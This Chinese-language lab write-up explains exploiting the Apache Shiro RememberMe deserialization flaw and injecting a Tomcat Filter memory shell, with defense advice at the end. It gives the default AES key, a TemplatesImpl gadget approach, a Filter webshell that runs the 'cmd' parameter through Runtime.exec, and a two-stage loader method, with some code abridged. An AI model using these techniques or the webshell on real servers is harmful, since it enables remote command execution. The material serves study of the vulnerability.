Shiro注入反序列化内存马流程
字数 1336 2025-09-01 11:26:17

Apache Shiro反序列化漏洞利用与内存马注入技术详解

一、Shiro反序列化漏洞概述

Apache Shiro是一个轻量级Java安全框架,提供认证、授权和会话管理功能。其核心漏洞在于:

  1. 漏洞原理:Shiro框架在处理HTTP请求的Cookie中的RememberMe值时存在反序列化设计缺陷
  2. 攻击向量:RememberMe值会被反序列化解析为Java对象,编码方式为:Java对象→原生序列化→AES加密
  3. 利用条件:攻击者获取服务端使用的AES密钥后,可伪造任意序列化数据,触发远程代码执行

二、环境搭建

使用vulhub项目提供的docker环境:

  • 访问IP的8080端口可见登录页面
  • 靶场依赖库:
    • commons-collections:3.2.1
    • commons-beanutils:1.8.3

三、任意代码执行流程

1. 恶意代码准备

创建恶意Java类示例(在/tmp目录下创建文件):

// touch.java
public class touch {
    static {
        try {
            java.nio.file.Files.write(
                java.nio.file.Paths.get("/tmp/touch"),
                "".getBytes()
            );
        } catch (Exception e) {}
    }
}

2. 利用TemplatesImpl链加载字节码

TemplatesImpl是Java XSLT处理核心类,其_bytecodes字段可直接加载字节码。通过构造反序列化链触发getTransletInstance()方法,可动态加载并执行恶意类(需继承AbstractTranslet)。

关键点:

  • 使用InstantiateTransformer实例化TrAXFilter来触发目标方法
  • Shiro默认AES密钥:kPH+bIxk5D2deZiIxcaaaA==(需根据实际情况替换)

3. 生成Payload

使用以下代码生成序列化Payload:

// 获取类字节码的方法(示例)
byte[] code = getCtClass("touch");

四、内存马注入尝试

1. 内存马准备

创建Filter型内存马:

// MemShell.java
public class MemShell implements Filter {
    public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) {
        HttpServletRequest request = (HttpServletRequest) req;
        if (request.getParameter("cmd") != null) {
            try {
                String cmd = request.getParameter("cmd");
                Process process = Runtime.getRuntime().exec(cmd);
                // ...处理命令执行结果...
            } catch (Exception e) {}
        }
        chain.doFilter(req, res);
    }
    // 其他必要方法...
}

2. 注入类准备

创建注入类将Filter注册到容器:

// Inject.java
public class Inject {
    static {
        try {
            // 获取MemShell字节码并注册Filter
            String code = "MemShell的Base64字节码";
            // 注册逻辑...
        } catch (Exception e) {}
    }
}

3. 问题发现

直接注入失败原因:

  • Tomcat对header长度限制(默认8k)
  • 完整内存马注入Payload通常超过此限制

五、解决方案:分阶段加载

1. ShellLoader设计

改为两阶段加载:

  1. 第一阶段:Shiro Payload仅包含ShellLoader
  2. 第二阶段:通过POST data传输内存马字节码

关键挑战:在没有request对象的情况下获取请求数据

2. TomcatEcho通用回显技术

获取request对象链:

Thread.currentThread() → ThreadGroup → 遍历线程 → 找到Tomcat工作线程 → 获取RequestInfo → 获取Request/Response对象

3. 优雅的反射工具

实现链式反射获取对象:

// 支持多种语法:
// 1. 获取对象下的变量
getField(obj, "fieldName")

// 2. 类型标注和强制转换
getField(obj, "(Type)fieldName")

// 3. 数组和List下标取值
getField(obj, "arrayField[1]")

// 4. 组合实现TomcatEcho链
getField(Thread.currentThread(), 
    "(java.lang.ThreadGroup)group.threads[10].(org.apache.tomcat.util.threads.TaskThread)target.(org.apache.catalina.connector.Request)request")

4. 字节码优化

通过Maven编译选项缩小体积:

<build>
    <plugins>
        <plugin>
            <groupId>org.apache.maven.plugins</groupId>
            <artifactId>maven-compiler-plugin</artifactId>
            <configuration>
                <compilerArgs>
                    <arg>-g:none</arg> <!-- 禁用调试信息 -->
                </compilerArgs>
            </configuration>
        </plugin>
    </plugins>
</build>

六、完整攻击流程

  1. 生成ShellLoader的Shiro Payload

    // 设置code为ShellLoader类的字节码
    String code = getCtClass("ShellLoader");
    // 生成RememberMe Cookie
    
  2. 准备POST data部分

    // 生成内存马的Base64编码字节码
    String memShellCode = Base64.getEncoder().encodeToString(getCtClass("MemShell"));
    
  3. 构造最终请求包

    • RememberMe Cookie:包含ShellLoader的Payload
    • POST Data:包含内存马字节码
    • 使用URL编码确保传输安全
  4. 发送请求

    • 成功执行后,内存马将被注入
    • 通过cmd参数执行任意命令

七、防御建议

  1. 升级Shiro到最新安全版本
  2. 修改默认AES加密密钥
  3. 限制反序列化类白名单
  4. 部署RASP防护方案
  5. 监控异常RememberMe值请求

通过本文所述技术,安全研究人员可以深入理解Shiro反序列化漏洞的利用方式及内存马注入的高级技巧,同时为防御此类攻击提供参考依据。

Apache Shiro反序列化漏洞利用与内存马注入技术详解 一、Shiro反序列化漏洞概述 Apache Shiro是一个轻量级Java安全框架,提供认证、授权和会话管理功能。其核心漏洞在于: 漏洞原理 :Shiro框架在处理HTTP请求的Cookie中的RememberMe值时存在反序列化设计缺陷 攻击向量 :RememberMe值会被反序列化解析为Java对象,编码方式为:Java对象→原生序列化→AES加密 利用条件 :攻击者获取服务端使用的AES密钥后,可伪造任意序列化数据,触发远程代码执行 二、环境搭建 使用vulhub项目提供的docker环境: 访问IP的8080端口可见登录页面 靶场依赖库: commons-collections:3.2.1 commons-beanutils:1.8.3 三、任意代码执行流程 1. 恶意代码准备 创建恶意Java类示例(在/tmp目录下创建文件): 2. 利用TemplatesImpl链加载字节码 TemplatesImpl是Java XSLT处理核心类,其 _bytecodes 字段可直接加载字节码。通过构造反序列化链触发 getTransletInstance() 方法,可动态加载并执行恶意类(需继承 AbstractTranslet )。 关键点: 使用 InstantiateTransformer 实例化 TrAXFilter 来触发目标方法 Shiro默认AES密钥: kPH+bIxk5D2deZiIxcaaaA== (需根据实际情况替换) 3. 生成Payload 使用以下代码生成序列化Payload: 四、内存马注入尝试 1. 内存马准备 创建Filter型内存马: 2. 注入类准备 创建注入类将Filter注册到容器: 3. 问题发现 直接注入失败原因: Tomcat对header长度限制(默认8k) 完整内存马注入Payload通常超过此限制 五、解决方案:分阶段加载 1. ShellLoader设计 改为两阶段加载: 第一阶段:Shiro Payload仅包含ShellLoader 第二阶段:通过POST data传输内存马字节码 关键挑战:在没有request对象的情况下获取请求数据 2. TomcatEcho通用回显技术 获取request对象链: 3. 优雅的反射工具 实现链式反射获取对象: 4. 字节码优化 通过Maven编译选项缩小体积: 六、完整攻击流程 生成ShellLoader的Shiro Payload 准备POST data部分 构造最终请求包 RememberMe Cookie:包含ShellLoader的Payload POST Data:包含内存马字节码 使用URL编码确保传输安全 发送请求 成功执行后,内存马将被注入 通过 cmd 参数执行任意命令 七、防御建议 升级Shiro到最新安全版本 修改默认AES加密密钥 限制反序列化类白名单 部署RASP防护方案 监控异常RememberMe值请求 通过本文所述技术,安全研究人员可以深入理解Shiro反序列化漏洞的利用方式及内存马注入的高级技巧,同时为防御此类攻击提供参考依据。